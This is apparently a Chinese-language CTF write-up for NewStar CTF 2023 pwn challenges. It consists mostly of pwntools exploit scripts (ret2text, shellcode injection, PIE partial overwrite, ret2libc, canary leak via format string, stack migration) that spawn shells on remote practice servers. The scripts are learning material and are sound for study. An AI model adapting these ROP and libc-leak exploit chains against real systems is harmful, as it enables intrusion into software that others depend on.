newstar2023

复现

week1

ret2text

覆盖后直接接后门函数

from pwn import *

\#p=process('./ret2text')

p=remote('node5.buuoj.cn',26422)

backdoor=0x4011FB 

payload=b'a'*(0x20+8)+p64(backdoor)

p.sendlineafter('Show me your magic',payload)

p.interactive()

%5D(image.png).png)

ezshellcode

可直接写入shellcode，但要用context()规定架构为64位

from pwn import *

context(os='linux',arch='amd64')

\#p=process('./ezshellcode')

p=remote('node5.buuoj.cn',28679)

shellcode=asm(shellcraft.sh())

p.sendlineafter('magic',shellcode)

p.interactive()

newstar_shop

money为signed int,但判断时转换成unsigned int，可将money改为负数，判断后即可达到整数溢出

money的初值为100

p1eee

checksec后发现开启了PIE保护，且发现后门函数，可利用片段地址后四位为0x1264,其中264为真实地址

GDB调试后发现返回地址后四位为0x529d,所以只需修改返回地址后两位为\x64

from pwn import *

context(os='linux',arch='amd64')

\#p=process('./pwn')

p=remote('node5.buuoj.cn',26969)

payload=b'a'*(32+8)+b'\x64'

p.sendlineafter('!',payload)

p.interactive()

random

sy函数会将参数作为system的参数，获取shell需要调用system($0), v4%2=1,第二个rand()%5=2

from pwn import *

from ctypes import *

context(os='linux',arch='amd64',log_level='debug')

\#p=progress('./random")

p=remote('node5.buuoj.cn',28050)

libc = cdll.LoadLibrary('libc.so.6')

seed=libc.time(0)

libc.srand(seed)

num=str(libc.rand())

p.sendlineafter('number?',num)

p.interactive()

多试几次，即可拿到shell

week2

ret2libc

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#p=process('./ret2libc')
p=remote('node5.buuoj.cn',27748)

elf=ELF('./ret2libc')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=elf.sym['main']
rdi=0x400763
ret=0x400506 
payload=b'a'*(32+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter("Show me your magic again",payload)
p.recvuntil('See you next time')
#puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
sys_addr=offset+libc.dump('system')
binsh_addr=offset+libc.dump('str_bin_sh')

payload1=b'a'*(32+8)+p64(ret)+p64(rdi)+p64(binsh_addr)+p64(sys_addr)
p.sendlineafter("again",payload1)
p.interactive()

canary

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=process('./canary')
p=remote('node5.buuoj.cn',27114)
backdoor=0x401262
p.sendafter("gift?",b'%11$p')
p.recvuntil("Oh thanks,There is my gift:\n")

canary = int(p.recv(18), 16)
print(hex(canary))
payload=b'a'*(40)+p64(canary)+b'a'*8+p64(backdoor)
p.sendlineafter("magic",payload)
p.interactive()

secret number

from pwn import *
from ctypes import *
context(os='linux',arch='amd64',log_level='debug')
#p=process('./secretnumber')
p=remote('node5.buuoj.cn',27831)

libc=cdll.LoadLibrary('libc.so.6')
seed=libc.time(0)
libc.srand(seed)
num=str(libc.rand())

p.sendlineafter("Give me some gift?(0/1)",b'0')

p.sendlineafter("Guess the number",num)

p.interactive()

stack migration

from pwn import *
#from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#p=process('./pwn')
p=remote('node5.buuoj.cn',27703)

elf=ELF('./pwn')
libc=ELF('./libc.so.6')
main_addr=0x4011FB
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
rdi=0x401333
ret=0x40101a
leave_ret=0x4012aa

p.sendafter(b'name:\n',b'a'*8)
p.recvuntil(b'I have a small gift for you: ')
buf=int(p.recv(14),16) +8

payload=b'a'*(8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
payload=payload.ljust(80,b'a')
payload+=p64(buf)+p64(leave_ret)
p.sendafter("more infomation plz:\n",payload)

p.recvuntil("maybe I'll see you soon!\n")
puts_addr =u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
offset=puts_addr-libc.sym['puts']
sys_addr=offset+libc.sym['system']
binsh_addr=offset+next(libc.search(b'/bin/sh'))
 
p.sendafter(b'name:\n',b'a'*8)
p.recvuntil(b'I have a small gift for you: ')
buf=int(p.recv(14),16)+8

p.recvuntil(b'more infomation plz:\n')
payload1=b'a'*8 +p64(ret) +p64(rdi) +p64(binsh_addr) +p64(sys_addr)
payload1=payload1.ljust(80,b'a')
payload1+=p64(buf) +p64(leave_ret)
p.send(payload1)
p.interactive()